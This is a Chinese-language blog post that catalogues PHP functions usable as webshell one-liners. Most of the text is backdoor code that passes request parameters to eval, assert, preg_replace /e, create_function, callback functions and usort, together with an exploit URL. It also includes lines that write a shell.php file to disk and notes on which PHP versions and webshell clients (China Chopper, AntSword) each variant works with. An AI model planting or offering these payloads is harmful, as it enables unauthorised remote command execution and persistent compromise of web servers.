前言
大家好,我是阿里斯,一名IT行业小白。非常抱歉,昨天的内容出现瑕疵比较多,今天重新整理后再次发出,修改并添加了细节,另增加了常见的命令执行函数如果哪里不足,还请各位表哥指出。
eval和assert的区别
eval特点
eval()会把字符串按照php代码来执行(合法的php代码,以分号结尾)
eval()是一个语言构造器,不能被可变函数调用
eval($_REQUEST[1]); #eval一句话木马使用方式$_POST['1']($_POST['2']) #这里我们使用可变函数,参数1传入eval会不可用
assert特点
把字符串当做php代码去执行,这里对字符串的要求吗,没有eval严格
assert在php7.0也不再是函数,变成了语言结构(不能使用可变函数了)
函数
eval()
$a = $_POST['cmd1'];
eval($a);
assert()
assert($_REQUEST['a']); #11年,16年的菜刀可以使用
# 参考链接 https://www.freebuf.com/articles/web/56616.html
preg_replace()
这个函数的第一个参数是正则表达式,按照PHP的格式,表达式在两个“/”之间。如果我们在这个表达式的末尾加上“e”,那么这个函数的第二个参数就会被当作代码执行
preg_replace('/asd/e', $_POST['a'], 'asdfasdg');
# 14年的菜刀不行 蚁剑报错
# php5.5后开始弃用/e模式,但是经过测试11的菜刀配合php5.6还可以使用
create_function()
create_function()创建匿名函数,如果没有严格对参数传递进行过滤,攻击者可以构造特殊字符串传递给create_function()执行任意命令。
create_function的实现步骤:
1. 获取参数, 函数体;
2. 拼凑一个"function __lambda_func (参数) { 函数体;} "的字符串;
3. eval;
4. 通过\_\_lambda_func在函数表中找到eval后得到的函数体, 找不到就出错;
5. 定义一个函数名:"\000_lambda_" . count(anonymous_functions)++;
6. 用新的函数名替换__lambda_func;
7. 返回新的函数。
8. 参考链接 https://www.t00ls.net/articles-20774.html
$func = create_function('', $_POST['cmd']);
$func();
call_user_func()
把第一个参数作为回调函数调用,其余参数是回调函数的参数。
call_user_func('assert', $_REQUEST['cmd']);
# 经过测试php7.0已失效
call_user_func_array()
调用回调函数,并把一个数组参数作为回调函数的参数
$cmd = $_REQUEST['cmd'];
$arr[0] = $cmd;
call_user_func_array('assert', $arr);
# 7.0 php测试失败
array_filter()
第一个参数为数组,第二个参数为回调函数。这个函数的作用就是将array数组中的每个值传递给回调函数做参数。
$cmd = $_REQUEST['cmd'];
$arr = array($cmd);
$func = $_REQUEST['func'];
array_filter($arr, $func);
# 经过测试php7.0失效
usort()
函数执行的时候,会依次把$a中的两个值,传递给名字为my_sort函数中,所以你会看到my_sort有两个形参
参考链接http://www.am0s.com/functions/97.html
usort(...$_GET);
# php5.6以上7.0以下有效
#利用方式
#http://127.0.0.1:8999/test/project/code_run.php?1[]=1-1&1[]=eval($_POST['x'])&2=assert
#x=phpinfo();
file_put_contents()
把一个字符串写入文件中,在浏览器访问这个文件会生成相应的木马文件。
$ma = '<?php eval($_REQUEST[cmd]);?>';#这里一定要使用单引号双引号会把$_REQUEST[]当作变量使用
file_put_contents('muma.php', $ma);
fputs()
同上
fputs(fopen('shell.php', 'w'), '<?php eval($_REQUEST[cmd])?>');
动态函数
$_GET['a']($_POST['b']);
array_map()
array_map($_GET[func], array($_POST[cmd]));
命令执行函数(常见)
system()
将字符串当作shell命令执行,返回最后一行shell命令的执行结果
system('whoami');
passthru()
调用shell命令,把命令的执行结果输出到标准输出设备上
passthru('whoami')
exec()
不输出结果,返回shell命令执行结果的最后一行
print(exec('whoami'));
shell_exec()
不输出结果,返回shell命令执行的所有结果
print(shell_exec('whoami && dir'));
反引号``
加了反引号的字符串将尝试作为外壳命令来执行,并将奇输出信息返回。
print(`whoami`);
结语
欢迎各位转发点再看,感激不尽!